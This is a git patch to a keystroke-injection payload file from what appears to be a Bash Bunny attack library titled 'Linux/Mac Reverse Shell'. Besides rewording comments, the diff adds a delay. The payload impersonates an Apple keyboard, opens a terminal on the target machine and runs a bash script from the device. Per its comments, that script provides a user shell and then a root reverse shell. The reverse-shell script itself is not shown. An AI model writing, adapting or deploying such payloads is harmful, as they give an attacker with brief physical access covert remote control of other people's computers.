From 19b4ff63f0838a20685ed3eb647c5522a0f11c02 Mon Sep 17 00:00:00 2001 From: Darkprince <30362337+sridharas04@users.noreply.github.com> Date: Tue, 23 Jul 2024 17:56:14 +0530 Subject: [PATCH] Added delay for device recognition --- .../Root_Reverse_Shell_linux_mac/payload.txt | 32 +++++++++---------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.txt b/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.txt index 76a949dd..bbe4d459 100644 --- a/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.txt +++ b/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.txt @@ -1,47 +1,47 @@ # Title: Linux/Mac Reverse Shell -# Author: Darkprince(Sridhar) +# Author: Darkprince (Sridhar) # Version: 1.0 # -# Runs a script in the background that gives a user shell initially and waits for user to -# escalate privileges and give a root reverse shell -# -# Magenta..................Setup -# Red,Green,Blue......Executing -# Green....................Finished +# Runs a script in the background that provides a user shell initially and waits for the user to escalate privileges, then provides a root reverse shell. +# Magenta..................Setup +# Red, Green, Blue.........Executing +# Green....................Finished # INITIALIZING LED W -# Mac keyboard works in linux and mac +# Mac keyboard works in Linux and Mac ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E LANGUAGE='us' -# Make sure the switch position is 1 +# Ensure the switch position is 1 +# Delay for HID device recognition +Q DELAY 1000 # ATTACKING LED R G B -# Get linux,mac Termial +# Get Linux/Mac Terminal RUN UNITY xterm Q DELAY 1000 -# To close opened window by linux run command +# To close the opened window by the Linux run command Q GUI Q Q CTRL C RUN OSX terminal Q DELAY 1000 -# If linux then clearing 'terminal' which is typed by mac run script +# If Linux, then clearing 'terminal' which is typed by Mac run script Q CTRL C -# Executing bash script which is same for mac and linux +# Execute bash script which is the same for Mac and Linux GET SWITCH_POSITION Q STRING bash /Volumes/BashBunny/payloads/$SWITCH_POSITION/payload.sh -# The cleanup process will done by bash script -# Closing the xterm in linux -# Closing the terminal in mac even if terminal has other process COMMAND Q and ENTER key will terminates terminal +# The cleanup process will be handled by the bash script +# Closing the xterm in Linux +# Closing the terminal in Mac, even if the terminal has other processes COMMAND Q and ENTER keys will terminate the terminal Q GUI Q Q CTRL C Q STRING exit